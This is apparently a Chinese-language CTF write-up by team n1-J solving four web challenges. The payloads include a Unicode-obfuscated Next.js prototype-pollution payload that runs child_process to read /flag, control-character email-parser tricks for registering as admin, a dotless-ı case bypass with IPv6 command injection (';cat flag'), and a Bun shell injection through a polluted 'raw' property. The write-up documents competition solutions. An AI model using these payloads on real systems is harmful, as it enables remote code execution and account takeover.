n1-J WP

next-waf(一血)

本质在 nginx.conf 对 plain-text 做的WAF,而 nodejs 可以解析 Unicode,所以转一下 Unicode 就好了。

1
{"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e", "\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c", "\u0072\u0065\u0061\u0073\u006f\u006e": -1, "\u0076\u0061\u006c\u0075\u0065": "\u007b\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0034\u0032\u005c\u0075\u0030\u0030\u0033\u0030\u0022\u007d", "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065\u002e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0020\u0074\u0068\u0072\u006f\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u002e\u0061\u0073\u0073\u0069\u0067\u006e\u0028\u006e\u0065\u0077\u0020\u0045\u0072\u0072\u006f\u0072\u0028\u0027\u004e\u0045\u0058\u0054\u005f\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u0027\u0029\u002c\u0020\u007b\u0064\u0069\u0067\u0065\u0073\u0074\u003a\u0072\u0065\u0073\u007d\u0029\u003b", "\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061": {"\u0067\u0065\u0074": "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"}}}

postman(一血)

本质存在对于

image-20260126133853517

这段逻辑会忽略 ASCII 码小于 0x21且不是空格或制表符的字符。这意味着如 \x01 会被解析器剔除

这里就可以用来绕过

顺便看一下下面的逻辑,可以用括号注释来绕过

1
username = "A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com("

image-20260126133835110

注册后拼接为:

1
<A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com(@test.com>
  • 解析器遇到 ( ,将其视为注释开始(Comment)。
  • Text 部分为 A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com
  • 解析器内部清洗掉 \x01,变为 Administrator\nadmin@admin.com
  • 这里的 \n 起到了分隔作用,相当于 ,,使得 admin@admin.com 被识别为有效邮箱地址。

最终解析正确拿到flag。

addr(一血)

还是 Unicode 得特性,对于

字符 ı 的特性如下:

- upper() 转换为 I (正常 ASCII 字符)

- lower() 保持为 ı (不等于 i)

绕过检查。

后面对于 compressed 解析直接用 IPV6 绕过:

1
::1%20;cd ..;cat flag

Bun(学习im03t中)

条件竞争这个一眼顶针了,然后添加属性也一眼顶针了,参考

nodejs 原型链污染新视角-先知社区

关键在于如果 bun 执行 $ 时,如果存在 raw 属性 就不会进行转义,而是执行 raw 得内容。

1
2
3
4
# 利用 hasOwnProperty 属性进行污染tool="hasOwnProperty"# 构造命令:查看环境变量,并强制返回 true 避免报错
cmd="sh -c 'env; true' #"
print(f"[*] Executing: {cmd}")# 污染
requests.post(f"{TARGET}/api/admin/config?sessionId={sid}", data=f"{tool}.raw={cmd}")